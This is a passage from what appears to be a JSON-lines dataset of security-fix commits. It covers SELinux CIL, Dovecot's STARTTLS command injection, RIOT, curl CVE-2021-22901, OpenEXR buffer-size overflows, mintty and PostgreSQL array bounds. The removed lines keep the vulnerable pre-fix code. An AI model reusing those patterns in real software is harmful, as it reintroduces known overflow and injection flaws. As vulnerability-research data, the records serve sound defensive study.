optional is later disabled, everything\nwill be deleted anyway.\n\nCheck and quit with an error if a tunable declaration, in-statement,\nblock, blockabstract, or macro definition is found within an\noptional when either building or resolving the AST.\n\nSigned-off-by: James Carter ", "patch": "@@ -3808,8 +3808,10 @@ int __cil_resolve_ast_node_helper(struct cil_tree_node *node, uint32_t *finished\n \n \tif (optional != NULL) {\n \t\tif (node->flavor == CIL_TUNABLE ||\n+\t\t\tnode->flavor == CIL_IN ||\n+\t\t\tnode->flavor == CIL_BLOCK ||\n+\t\t\tnode->flavor == CIL_BLOCKABSTRACT ||\n \t\t node->flavor == CIL_MACRO) {\n-\t\t\t/* tuanbles and macros are not allowed in optionals*/\n \t\t\tcil_tree_log(node, CIL_ERR, \"%s statement is not allowed in optionals\", cil_node_to_string(node));\n \t\t\trc = SEPOL_ERR;\n \t\t\tgoto exit;", "sections": [{"section": "@@ -3808,8 +3808,10 @@ int __cil_resolve_ast_node_helper(struct cil_tree_node *node, uint32_t *finished\n \n \tif (optional != NULL) {\n \t\tif (node->flavor == CIL_TUNABLE ||\n+\t\t\tnode->flavor == CIL_IN ||\n+\t\t\tnode->flavor == CIL_BLOCK ||\n+\t\t\tnode->flavor == CIL_BLOCKABSTRACT ||\n \t\t node->flavor == CIL_MACRO) {\n-\t\t\t/* tuanbles and macros are not allowed in optionals*/\n \t\t\tcil_tree_log(node, CIL_ERR, \"%s statement is not allowed in optionals\", cil_node_to_string(node));\n \t\t\trc = SEPOL_ERR;\n \t\t\tgoto exit;", "related": false}]} +{"owner": "tesseract-ocr", "repo": "tesseract", "language": "Python", "file_name": "src/training/tesstrain.py", "commit_id": "e6f15621c2ab2ecbfabf656942d8ef66f03b2d55", "commit_message": "Remove Python training scripts which were moved to tesstrain\n\nSigned-off-by: Stefan Weil ", "patch": "@@ -1,112 +0,0 @@\n-#!/usr/bin/env python3\n-\n-# (C) Copyright 2014, Google Inc.\n-# (C) Copyright 2018, James R Barlow\n-# Licensed under the Apache License, Version 2.0 (the \"License\");\n-# you may not use this file except in compliance with the License.\n-# You may obtain a copy of the License at\n-# http://www.apache.org/licenses/LICENSE-2.0\n-# Unless required by applicable law or agreed to in writing, software\n-# distributed under the License is distributed on an \"AS IS\" BASIS,\n-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-# See the License for the specific language governing permissions and\n-# limitations under the License.\n-#\n-# This script provides an easy way to execute various phases of training\n-# Tesseract. For a detailed description of the phases, see\n-# https://tesseract-ocr.github.io/tessdoc/Training-Tesseract.html.\n-\n-import logging\n-import os\n-import sys\n-\n-if (sys.version_info.major < 3) or (sys.version_info.major == 3 and sys.version_info.minor < 6):\n- raise Exception(\"Must be using Python minimum version 3.6!\")\n-\n-sys.path.insert(0, os.path.dirname(__file__))\n-from tesstrain_utils import (\n- parse_flags,\n- initialize_fontconfig,\n- phase_I_generate_image,\n- phase_UP_generate_unicharset,\n- phase_E_extract_features,\n- make_lstmdata,\n- cleanup,\n-)\n-import language_specific\n-\n-log = logging.getLogger()\n-\n-\n-def setup_logging_console():\n- log.setLevel(logging.DEBUG)\n- console = logging.StreamHandler()\n- console.setLevel(logging.INFO)\n- console_formatter = logging.Formatter(\n- \"[%(asctime)s] %(levelname)s - %(message)s\", datefmt=\"%H:%M:%S\"\n- )\n- console.setFormatter(console_formatter)\n- log.addHandler(console)\n-\n-\n-def setup_logging_logfile(logfile):\n- logfile = logging.FileHandler(logfile, encoding='utf-8')\n- logfile.setLevel(logging.DEBUG)\n- logfile_formatter = logging.Formatter(\n- \"[%(asctime)s] - %(levelname)s - %(name)s - %(message)s\"\n- )\n- logfile.setFormatter(logfile_formatter)\n- log.addHandler(logfile)\n- return logfile\n-\n-\n-def main():\n- setup_logging_console()\n- ctx = parse_flags()\n- logfile = setup_logging_logfile(ctx.log_file)\n- if not ctx.linedata:\n- log.error(\"--linedata_only is required since only LSTM is supported\")\n- sys.exit(1)\n-\n- log.info(f\"=== Starting training for language {ctx.lang_code}\")\n- ctx = language_specific.set_lang_specific_parameters(ctx, ctx.lang_code)\n-\n- initialize_fontconfig(ctx)\n- phase_I_generate_image(ctx, par_factor=8)\n- phase_UP_generate_unicharset(ctx)\n-\n- if ctx.linedata:\n- phase_E_extract_features(ctx, [\"lstm.train\"], \"lstmf\")\n- make_lstmdata(ctx)\n-\n- log.removeHandler(logfile)\n- logfile.close()\n- cleanup(ctx)\n- log.info(\"All done!\")\n- return 0\n-\n-\n-if __name__ == \"__main__\":\n- main()\n-\n-# _rc0 = subprocess.call([\"tlog\",\"\\n=== Starting training for language '\"+str(LANG_CODE.val)+\"'\"],shell=True)\n-# _rc0 = subprocess.call([\"source\",os.popen(\"dirname \"+__file__).read().rstrip(\"\\n\")+\"/language-specific.sh\"],shell=True)\n-# _rc0 = subprocess.call([\"set_lang_specific_parameters\",str(LANG_CODE.val)],shell=True)\n-# _rc0 = subprocess.call([\"initialize_fontconfig\"],shell=True)\n-# _rc0 = subprocess.call([\"phase_I_generate_image\",\"8\"],shell=True)\n-# _rc0 = subprocess.call([\"phase_UP_generate_unicharset\"],shell=True)\n-# if (LINEDATA ):\n-# subprocess.call([\"phase_E_extract_features\",\" --psm 6 lstm.train \",\"8\",\"lstmf\"],shell=True)\n-# subprocess.call([\"make__lstmdata\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nCreated starter traineddata for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nRun lstmtraining to do the LSTM training for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)\n-# else:\n-# subprocess.call([\"phase_D_generate_dawg\"],shell=True)\n-# subprocess.call([\"phase_E_extract_features\",\"box.train\",\"8\",\"tr\"],shell=True)\n-# subprocess.call([\"phase_C_cluster_prototypes\",str(TRAINING_DIR.val)+\"/\"+str(LANG_CODE.val)+\".normproto\"],shell=True)\n-# if (str(ENABLE_SHAPE_CLUSTERING.val) == \"y\" ):\n-# subprocess.call([\"phase_S_cluster_shapes\"],shell=True)\n-# subprocess.call([\"phase_M_cluster_microfeatures\"],shell=True)\n-# subprocess.call([\"phase_B_generate_ambiguities\"],shell=True)\n-# subprocess.call([\"make__traineddata\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nCompleted training for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)", "sections": [{"section": "@@ -1,112 +0,0 @@\n-#!/usr/bin/env python3\n-\n-# (C) Copyright 2014, Google Inc.\n-# (C) Copyright 2018, James R Barlow\n-# Licensed under the Apache License, Version 2.0 (the \"License\");\n-# you may not use this file except in compliance with the License.\n-# You may obtain a copy of the License at\n-# http://www.apache.org/licenses/LICENSE-2.0\n-# Unless required by applicable law or agreed to in writing, software\n-# distributed under the License is distributed on an \"AS IS\" BASIS,\n-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n-# See the License for the specific language governing permissions and\n-# limitations under the License.\n-#\n-# This script provides an easy way to execute various phases of training\n-# Tesseract. For a detailed description of the phases, see\n-# https://tesseract-ocr.github.io/tessdoc/Training-Tesseract.html.\n-\n-import logging\n-import os\n-import sys\n-\n-if (sys.version_info.major < 3) or (sys.version_info.major == 3 and sys.version_info.minor < 6):\n- raise Exception(\"Must be using Python minimum version 3.6!\")\n-\n-sys.path.insert(0, os.path.dirname(__file__))\n-from tesstrain_utils import (\n- parse_flags,\n- initialize_fontconfig,\n- phase_I_generate_image,\n- phase_UP_generate_unicharset,\n- phase_E_extract_features,\n- make_lstmdata,\n- cleanup,\n-)\n-import language_specific\n-\n-log = logging.getLogger()\n-\n-\n-def setup_logging_console():\n- log.setLevel(logging.DEBUG)\n- console = logging.StreamHandler()\n- console.setLevel(logging.INFO)\n- console_formatter = logging.Formatter(\n- \"[%(asctime)s] %(levelname)s - %(message)s\", datefmt=\"%H:%M:%S\"\n- )\n- console.setFormatter(console_formatter)\n- log.addHandler(console)\n-\n-\n-def setup_logging_logfile(logfile):\n- logfile = logging.FileHandler(logfile, encoding='utf-8')\n- logfile.setLevel(logging.DEBUG)\n- logfile_formatter = logging.Formatter(\n- \"[%(asctime)s] - %(levelname)s - %(name)s - %(message)s\"\n- )\n- logfile.setFormatter(logfile_formatter)\n- log.addHandler(logfile)\n- return logfile\n-\n-\n-def main():\n- setup_logging_console()\n- ctx = parse_flags()\n- logfile = setup_logging_logfile(ctx.log_file)\n- if not ctx.linedata:\n- log.error(\"--linedata_only is required since only LSTM is supported\")\n- sys.exit(1)\n-\n- log.info(f\"=== Starting training for language {ctx.lang_code}\")\n- ctx = language_specific.set_lang_specific_parameters(ctx, ctx.lang_code)\n-\n- initialize_fontconfig(ctx)\n- phase_I_generate_image(ctx, par_factor=8)\n- phase_UP_generate_unicharset(ctx)\n-\n- if ctx.linedata:\n- phase_E_extract_features(ctx, [\"lstm.train\"], \"lstmf\")\n- make_lstmdata(ctx)\n-\n- log.removeHandler(logfile)\n- logfile.close()\n- cleanup(ctx)\n- log.info(\"All done!\")\n- return 0\n-\n-\n-if __name__ == \"__main__\":\n- main()\n-\n-# _rc0 = subprocess.call([\"tlog\",\"\\n=== Starting training for language '\"+str(LANG_CODE.val)+\"'\"],shell=True)\n-# _rc0 = subprocess.call([\"source\",os.popen(\"dirname \"+__file__).read().rstrip(\"\\n\")+\"/language-specific.sh\"],shell=True)\n-# _rc0 = subprocess.call([\"set_lang_specific_parameters\",str(LANG_CODE.val)],shell=True)\n-# _rc0 = subprocess.call([\"initialize_fontconfig\"],shell=True)\n-# _rc0 = subprocess.call([\"phase_I_generate_image\",\"8\"],shell=True)\n-# _rc0 = subprocess.call([\"phase_UP_generate_unicharset\"],shell=True)\n-# if (LINEDATA ):\n-# subprocess.call([\"phase_E_extract_features\",\" --psm 6 lstm.train \",\"8\",\"lstmf\"],shell=True)\n-# subprocess.call([\"make__lstmdata\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nCreated starter traineddata for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nRun lstmtraining to do the LSTM training for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)\n-# else:\n-# subprocess.call([\"phase_D_generate_dawg\"],shell=True)\n-# subprocess.call([\"phase_E_extract_features\",\"box.train\",\"8\",\"tr\"],shell=True)\n-# subprocess.call([\"phase_C_cluster_prototypes\",str(TRAINING_DIR.val)+\"/\"+str(LANG_CODE.val)+\".normproto\"],shell=True)\n-# if (str(ENABLE_SHAPE_CLUSTERING.val) == \"y\" ):\n-# subprocess.call([\"phase_S_cluster_shapes\"],shell=True)\n-# subprocess.call([\"phase_M_cluster_microfeatures\"],shell=True)\n-# subprocess.call([\"phase_B_generate_ambiguities\"],shell=True)\n-# subprocess.call([\"make__traineddata\"],shell=True)\n-# subprocess.call([\"tlog\",\"\\nCompleted training for language '\"+str(LANG_CODE.val)+\"'\\n\"],shell=True)", "related": false}]} +{"owner": "dovecot", "repo": "core", "language": "C", "file_name": "src/lib-smtp/smtp-server-cmd-starttls.c", "commit_id": "65bd1a27a361545c9ccf405b955c72a9c4d29b38", "commit_message": "lib-smtp: smtp-server-connection - Fix STARTTLS command injection vulnerability.\n\nThe input handler kept reading more commands even though the input was locked by\nthe STARTTLS command, thereby causing it to read the command pipelined beyond\nSTARTTLS. This causes a STARTTLS command injection vulerability.", "patch": "@@ -37,6 +37,13 @@ static int cmd_starttls_start(struct smtp_server_connection *conn)\n \t\treturn -1;\n \t}\n \n+\t/* The command queue must be empty at this point. If anything were to be\n+\t queued somehow, this connection is vulnerable to STARTTLS command\n+\t insertion.\n+\t */\n+\ti_assert(conn->command_queue_count == 0 &&\n+\t\t conn->command_queue_head == NULL);\n+\n \t/* RFC 3207, Section 4.2:\n \n \t Upon completion of the TLS handshake, the SMTP protocol is reset to\n@@ -107,6 +114,13 @@ cmd_starttls_next(struct smtp_server_cmd_ctx *cmd, void *context ATTR_UNUSED)\n \tconst struct smtp_server_callbacks *callbacks = conn->callbacks;\n \tint ret;\n \n+\t/* The command queue can only contain the STARTTLS command at this\n+\t point. If anything beyond the STARTTLS were queued somehow, this\n+\t connection is vulnerable to STARTTLS command insertion.\n+\t */\n+\ti_assert(conn->command_queue_count == 1 &&\n+\t conn->command_queue_tail == command);\n+\n \tsmtp_server_connection_set_state(conn, SMTP_SERVER_STATE_STARTTLS,\n \t\t\t\t\t NULL);\n ", "sections": [{"section": "@@ -37,6 +37,13 @@ static int cmd_starttls_start(struct smtp_server_connection *conn)\n \t\treturn -1;\n \t}\n \n+\t/* The command queue must be empty at this point. If anything were to be\n+\t queued somehow, this connection is vulnerable to STARTTLS command\n+\t insertion.\n+\t */\n+\ti_assert(conn->command_queue_count == 0 &&\n+\t\t conn->command_queue_head == NULL);\n+\n \t/* RFC 3207, Section 4.2:\n \n \t Upon completion of the TLS handshake, the SMTP protocol is reset to\n", "related": false}, {"section": "@@ -107,6 +114,13 @@ cmd_starttls_next(struct smtp_server_cmd_ctx *cmd, void *context ATTR_UNUSED)\n \tconst struct smtp_server_callbacks *callbacks = conn->callbacks;\n \tint ret;\n \n+\t/* The command queue can only contain the STARTTLS command at this\n+\t point. If anything beyond the STARTTLS were queued somehow, this\n+\t connection is vulnerable to STARTTLS command insertion.\n+\t */\n+\ti_assert(conn->command_queue_count == 1 &&\n+\t conn->command_queue_tail == command);\n+\n \tsmtp_server_connection_set_state(conn, SMTP_SERVER_STATE_STARTTLS,\n \t\t\t\t\t NULL);\n ", "related": false}]} +{"owner": "riot-os", "repo": "riot", "language": "C", "file_name": "sys/clif/clif.c", "commit_id": "609c9ada34da5546cffb632a98b7ba157c112658", "commit_message": "Merge pull request #15945 from nmeum/pr/clif_get_attr_bounds\n\nclif: After incrementing pos, make sure it is still in bounds", "patch": "@@ -278,7 +278,10 @@ ssize_t clif_get_attr(const char *input, size_t input_len, clif_attr_t *attr)\n attr->key_len = pos - attr->key;\n /* check if the value is quoted and prepare pointer for value scan */\n pos++;\n- if (*pos == '\"') {\n+ if (pos == end) {\n+ break;\n+ }\n+ else if (*pos == '\"') {\n quoted = true;\n pos++;\n }", "sections": [{"section": "@@ -278,7 +278,10 @@ ssize_t clif_get_attr(const char *input, size_t input_len, clif_attr_t *attr)\n attr->key_len = pos - attr->key;\n /* check if the value is quoted and prepare pointer for value scan */\n pos++;\n- if (*pos == '\"') {\n+ if (pos == end) {\n+ break;\n+ }\n+ else if (*pos == '\"') {\n quoted = true;\n pos++;\n }", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/vtls/gskit.c", "commit_id": "7f4a9a9b2a49547eae24d2e19bc5c346e9026479", "commit_message": "openssl: associate/detach the transfer from connection\n\nCVE-2021-22901\n\nBug: https://curl.se/docs/CVE-2021-22901.html", "patch": "@@ -1304,7 +1304,9 @@ const struct Curl_ssl Curl_ssl_gskit = {\n Curl_none_set_engine_default, /* set_engine_default */\n Curl_none_engines_list, /* engines_list */\n Curl_none_false_start, /* false_start */\n- NULL /* sha256sum */\n+ NULL, /* sha256sum */\n+ NULL, /* associate_connection */\n+ NULL /* disassociate_connection */\n };\n \n #endif /* USE_GSKIT */", "sections": [{"section": "@@ -1304,7 +1304,9 @@ const struct Curl_ssl Curl_ssl_gskit = {\n Curl_none_set_engine_default, /* set_engine_default */\n Curl_none_engines_list, /* engines_list */\n Curl_none_false_start, /* false_start */\n- NULL /* sha256sum */\n+ NULL, /* sha256sum */\n+ NULL, /* associate_connection */\n+ NULL /* disassociate_connection */\n };\n \n #endif /* USE_GSKIT */", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/vtls/vtls.h", "commit_id": "7f4a9a9b2a49547eae24d2e19bc5c346e9026479", "commit_message": "openssl: associate/detach the transfer from connection\n\nCVE-2021-22901\n\nBug: https://curl.se/docs/CVE-2021-22901.html", "patch": "@@ -84,6 +84,11 @@ struct Curl_ssl {\n bool (*false_start)(void);\n CURLcode (*sha256sum)(const unsigned char *input, size_t inputlen,\n unsigned char *sha256sum, size_t sha256sumlen);\n+\n+ void (*associate_connection)(struct Curl_easy *data,\n+ struct connectdata *conn,\n+ int sockindex);\n+ void (*disassociate_connection)(struct Curl_easy *data, int sockindex);\n };\n \n #ifdef USE_SSL\n@@ -283,6 +288,11 @@ bool Curl_ssl_cert_status_request(void);\n \n bool Curl_ssl_false_start(void);\n \n+void Curl_ssl_associate_conn(struct Curl_easy *data,\n+ struct connectdata *conn);\n+void Curl_ssl_detach_conn(struct Curl_easy *data,\n+ struct connectdata *conn);\n+\n #define SSL_SHUTDOWN_TIMEOUT 10000 /* ms */\n \n #else /* if not USE_SSL */\n@@ -309,6 +319,8 @@ bool Curl_ssl_false_start(void);\n #define Curl_ssl_cert_status_request() FALSE\n #define Curl_ssl_false_start() FALSE\n #define Curl_ssl_tls13_ciphersuites() FALSE\n+#define Curl_ssl_associate_conn(a,b) Curl_nop_stmt\n+#define Curl_ssl_detach_conn(a,b) Curl_nop_stmt\n #endif\n \n #endif /* HEADER_CURL_VTLS_H */", "sections": [{"section": "@@ -84,6 +84,11 @@ struct Curl_ssl {\n bool (*false_start)(void);\n CURLcode (*sha256sum)(const unsigned char *input, size_t inputlen,\n unsigned char *sha256sum, size_t sha256sumlen);\n+\n+ void (*associate_connection)(struct Curl_easy *data,\n+ struct connectdata *conn,\n+ int sockindex);\n+ void (*disassociate_connection)(struct Curl_easy *data, int sockindex);\n };\n \n #ifdef USE_SSL\n", "related": false}, {"section": "@@ -283,6 +288,11 @@ bool Curl_ssl_cert_status_request(void);\n \n bool Curl_ssl_false_start(void);\n \n+void Curl_ssl_associate_conn(struct Curl_easy *data,\n+ struct connectdata *conn);\n+void Curl_ssl_detach_conn(struct Curl_easy *data,\n+ struct connectdata *conn);\n+\n #define SSL_SHUTDOWN_TIMEOUT 10000 /* ms */\n \n #else /* if not USE_SSL */\n", "related": false}, {"section": "@@ -309,6 +319,8 @@ bool Curl_ssl_false_start(void);\n #define Curl_ssl_cert_status_request() FALSE\n #define Curl_ssl_false_start() FALSE\n #define Curl_ssl_tls13_ciphersuites() FALSE\n+#define Curl_ssl_associate_conn(a,b) Curl_nop_stmt\n+#define Curl_ssl_detach_conn(a,b) Curl_nop_stmt\n #endif\n \n #endif /* HEADER_CURL_VTLS_H */", "related": false}]} +{"owner": "academysoftwarefoundation", "repo": "openexr", "language": "C++", "file_name": "src/lib/OpenEXR/ImfDwaCompressor.cpp", "commit_id": "0e08c959c5459e2ffd3b81b654c3ce8b71a4b42c", "commit_message": "Use size_t for DWA buffersize calculation (#901)\n\n* Use size_t for DWA buffersize calculation\r\n\r\nSigned-off-by: Peter Hillman \r\n\r\n* use Int64 instead of size_t for buffersize calculations\r\n\r\nSigned-off-by: Peter Hillman ", "patch": "@@ -2932,10 +2932,10 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // of channels we have. \n //\n \n- size_t maxOutBufferSize = 0;\n+ Int64 maxOutBufferSize = 0;\n int numLossyDctChans = 0;\n- int unknownBufferSize = 0;\n- int rleBufferSize = 0;\n+ Int64 unknownBufferSize = 0;\n+ Int64 rleBufferSize = 0;\n \n int maxLossyDctAcSize = (int)ceil ((float)numScanLines() / 8.0f) * \n (int)ceil ((float)(_max[0] - _min[0] + 1) / 8.0f) *\n@@ -2945,6 +2945,8 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n (int)ceil ((float)(_max[0] - _min[0] + 1) / 8.0f) *\n sizeof (unsigned short);\n \n+ Int64 pixelCount = static_cast(numScanLines()) * static_cast(_max[0] - _min[0] + 1);\n+\n for (unsigned int chan = 0; chan < _channelData.size(); ++chan)\n {\n switch (_channelData[chan].compression)\n@@ -2971,8 +2973,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // of the source data.\n //\n \n- int rleAmount = 2 * numScanLines() * (_max[0] - _min[0] + 1) *\n- OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n+ Int64 rleAmount = 2 * pixelCount * OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n \n rleBufferSize += rleAmount;\n }\n@@ -2981,8 +2982,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n \n case UNKNOWN:\n \n- unknownBufferSize += numScanLines() * (_max[0] - _min[0] + 1) *\n- OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n+ unknownBufferSize += pixelCount * OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n break;\n \n default:\n@@ -2999,13 +2999,13 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // which could take slightly more space\n //\n \n- maxOutBufferSize += compressBound ((uLongf)rleBufferSize);\n+ maxOutBufferSize += compressBound (rleBufferSize);\n \n //\n // And the same goes for the UNKNOWN data\n //\n \n- maxOutBufferSize += compressBound ((uLongf)unknownBufferSize);\n+ maxOutBufferSize += compressBound (unknownBufferSize);\n \n //\n // Allocate a zip/deflate compressor big enought to hold the DC data\n@@ -3052,7 +3052,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // to Huffman encoding\n //\n \n- if (static_cast(maxLossyDctAcSize * numLossyDctChans) > _packedAcBufferSize)\n+ if (static_cast(maxLossyDctAcSize * numLossyDctChans) > _packedAcBufferSize)\n {\n _packedAcBufferSize = maxLossyDctAcSize * numLossyDctChans;\n if (_packedAcBuffer != 0) \n@@ -3064,15 +3064,15 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // _packedDcBuffer holds one quantized DCT coef per 8x8 block\n //\n \n- if (static_cast(maxLossyDctDcSize * numLossyDctChans) > _packedDcBufferSize)\n+ if (static_cast(maxLossyDctDcSize * numLossyDctChans) > _packedDcBufferSize)\n {\n _packedDcBufferSize = maxLossyDctDcSize * numLossyDctChans;\n if (_packedDcBuffer != 0) \n delete[] _packedDcBuffer;\n _packedDcBuffer = new char[_packedDcBufferSize];\n }\n \n- if (static_cast(rleBufferSize) > _rleBufferSize) \n+ if ( rleBufferSize > _rleBufferSize )\n {\n _rleBufferSize = rleBufferSize;\n if (_rleBuffer != 0) \n@@ -3091,7 +3091,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // all in one swoop (for each compression scheme).\n //\n \n- int planarUncBufferSize[NUM_COMPRESSOR_SCHEMES];\n+ Int64 planarUncBufferSize[NUM_COMPRESSOR_SCHEMES];\n for (int i=0; i 0)\n {\n planarUncBufferSize[UNKNOWN] = \n- compressBound ((uLongf)planarUncBufferSize[UNKNOWN]);\n+ compressBound (planarUncBufferSize[UNKNOWN]);\n }\n \n for (int i = 0; i < NUM_COMPRESSOR_SCHEMES; ++i)\n {\n- if (static_cast(planarUncBufferSize[i]) > _planarUncBufferSize[i]) \n+ if ( planarUncBufferSize[i] > _planarUncBufferSize[i])\n {\n _planarUncBufferSize[i] = planarUncBufferSize[i];\n if (_planarUncBuffer[i] != 0) \n delete[] _planarUncBuffer[i];\n+\n+ if (planarUncBufferSize[i] > std::numeric_limits::max())\n+ {\n+ throw IEX_NAMESPACE::ArgExc(\"DWA buffers too large\");\n+ }\n+\n _planarUncBuffer[i] = new char[planarUncBufferSize[i]];\n }\n }", "sections": [{"section": "@@ -2932,10 +2932,10 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // of channels we have. \n //\n \n- size_t maxOutBufferSize = 0;\n+ Int64 maxOutBufferSize = 0;\n int numLossyDctChans = 0;\n- int unknownBufferSize = 0;\n- int rleBufferSize = 0;\n+ Int64 unknownBufferSize = 0;\n+ Int64 rleBufferSize = 0;\n \n int maxLossyDctAcSize = (int)ceil ((float)numScanLines() / 8.0f) * \n (int)ceil ((float)(_max[0] - _min[0] + 1) / 8.0f) *\n", "related": false}, {"section": "@@ -2945,6 +2945,8 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n (int)ceil ((float)(_max[0] - _min[0] + 1) / 8.0f) *\n sizeof (unsigned short);\n \n+ Int64 pixelCount = static_cast(numScanLines()) * static_cast(_max[0] - _min[0] + 1);\n+\n for (unsigned int chan = 0; chan < _channelData.size(); ++chan)\n {\n switch (_channelData[chan].compression)\n", "related": false}, {"section": "@@ -2971,8 +2973,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // of the source data.\n //\n \n- int rleAmount = 2 * numScanLines() * (_max[0] - _min[0] + 1) *\n- OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n+ Int64 rleAmount = 2 * pixelCount * OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n \n rleBufferSize += rleAmount;\n }\n", "related": false}, {"section": "@@ -2981,8 +2982,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n \n case UNKNOWN:\n \n- unknownBufferSize += numScanLines() * (_max[0] - _min[0] + 1) *\n- OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n+ unknownBufferSize += pixelCount * OPENEXR_IMF_NAMESPACE::pixelTypeSize (_channelData[chan].type);\n break;\n \n default:\n", "related": false}, {"section": "@@ -2999,13 +2999,13 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // which could take slightly more space\n //\n \n- maxOutBufferSize += compressBound ((uLongf)rleBufferSize);\n+ maxOutBufferSize += compressBound (rleBufferSize);\n \n //\n // And the same goes for the UNKNOWN data\n //\n \n- maxOutBufferSize += compressBound ((uLongf)unknownBufferSize);\n+ maxOutBufferSize += compressBound (unknownBufferSize);\n \n //\n // Allocate a zip/deflate compressor big enought to hold the DC data\n", "related": false}, {"section": "@@ -3052,7 +3052,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // to Huffman encoding\n //\n \n- if (static_cast(maxLossyDctAcSize * numLossyDctChans) > _packedAcBufferSize)\n+ if (static_cast(maxLossyDctAcSize * numLossyDctChans) > _packedAcBufferSize)\n {\n _packedAcBufferSize = maxLossyDctAcSize * numLossyDctChans;\n if (_packedAcBuffer != 0) \n", "related": false}, {"section": "@@ -3064,15 +3064,15 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // _packedDcBuffer holds one quantized DCT coef per 8x8 block\n //\n \n- if (static_cast(maxLossyDctDcSize * numLossyDctChans) > _packedDcBufferSize)\n+ if (static_cast(maxLossyDctDcSize * numLossyDctChans) > _packedDcBufferSize)\n {\n _packedDcBufferSize = maxLossyDctDcSize * numLossyDctChans;\n if (_packedDcBuffer != 0) \n delete[] _packedDcBuffer;\n _packedDcBuffer = new char[_packedDcBufferSize];\n }\n \n- if (static_cast(rleBufferSize) > _rleBufferSize) \n+ if ( rleBufferSize > _rleBufferSize )\n {\n _rleBufferSize = rleBufferSize;\n if (_rleBuffer != 0) \n", "related": false}, {"section": "@@ -3091,7 +3091,7 @@ DwaCompressor::initializeBuffers (size_t &outBufferSize)\n // all in one swoop (for each compression scheme).\n //\n \n- int planarUncBufferSize[NUM_COMPRESSOR_SCHEMES];\n+ Int64 planarUncBufferSize[NUM_COMPRESSOR_SCHEMES];\n for (int i=0; i 0)\n {\n planarUncBufferSize[UNKNOWN] = \n- compressBound ((uLongf)planarUncBufferSize[UNKNOWN]);\n+ compressBound (planarUncBufferSize[UNKNOWN]);\n }\n \n for (int i = 0; i < NUM_COMPRESSOR_SCHEMES; ++i)\n {\n- if (static_cast(planarUncBufferSize[i]) > _planarUncBufferSize[i]) \n+ if ( planarUncBufferSize[i] > _planarUncBufferSize[i])\n {\n _planarUncBufferSize[i] = planarUncBufferSize[i];\n if (_planarUncBuffer[i] != 0) \n delete[] _planarUncBuffer[i];\n+\n+ if (planarUncBufferSize[i] > std::numeric_limits::max())\n+ {\n+ throw IEX_NAMESPACE::ArgExc(\"DWA buffers too large\");\n+ }\n+\n _planarUncBuffer[i] = new char[planarUncBufferSize[i]];\n }\n }", "related": false}]} +{"owner": "mintty", "repo": "mintty", "language": "C", "file_name": "src/termout.c", "commit_id": "bd52109993440b6996760aaccb66e68e782762b9", "commit_message": "tame some window operations, just in case", "patch": "@@ -2552,6 +2552,7 @@ do_winop(void)\n win_maximise(0);\n win_set_chars(rows0, cols0);\n }\n+ usleep(1000);\n }\n when 10:\n if (term.csi_argc != 2)\n@@ -2563,6 +2564,7 @@ do_winop(void)\n win_maximise(-2);\n else if (arg1 == 1 || arg1 == 0)\n win_maximise(arg1 ? 2 : 0);\n+ usleep(1000);\n when 11: child_write(win_is_iconic() ? \"\\e[2t\" : \"\\e[1t\", 4);\n when 13: {\n int x, y;", "sections": [{"section": "@@ -2552,6 +2552,7 @@ do_winop(void)\n win_maximise(0);\n win_set_chars(rows0, cols0);\n }\n+ usleep(1000);\n }\n when 10:\n if (term.csi_argc != 2)\n", "related": false}, {"section": "@@ -2563,6 +2564,7 @@ do_winop(void)\n win_maximise(-2);\n else if (arg1 == 1 || arg1 == 0)\n win_maximise(arg1 ? 2 : 0);\n+ usleep(1000);\n when 11: child_write(win_is_iconic() ? \"\\e[2t\" : \"\\e[1t\", 4);\n when 13: {\n int x, y;", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "src/backend/executor/execExprInterp.c", "commit_id": "467395bfdf33f1ccf67ca388ffdcc927271544cb", "commit_message": "Prevent integer overflows in array subscripting calculations.\n\nWhile we were (mostly) careful about ensuring that the dimensions of\narrays aren't large enough to cause integer overflow, the lower bound\nvalues were generally not checked. This allows situations where\nlower_bound + dimension overflows an integer. It seems that that's\nharmless so far as array reading is concerned, except that array\nelements with subscripts notionally exceeding INT_MAX are inaccessible.\nHowever, it confuses various array-assignment logic, resulting in a\npotential for memory stomps.\n\nFix by adding checks that array lower bounds aren't large enough to\ncause lower_bound + dimension to overflow. (Note: this results in\ndisallowing cases where the last 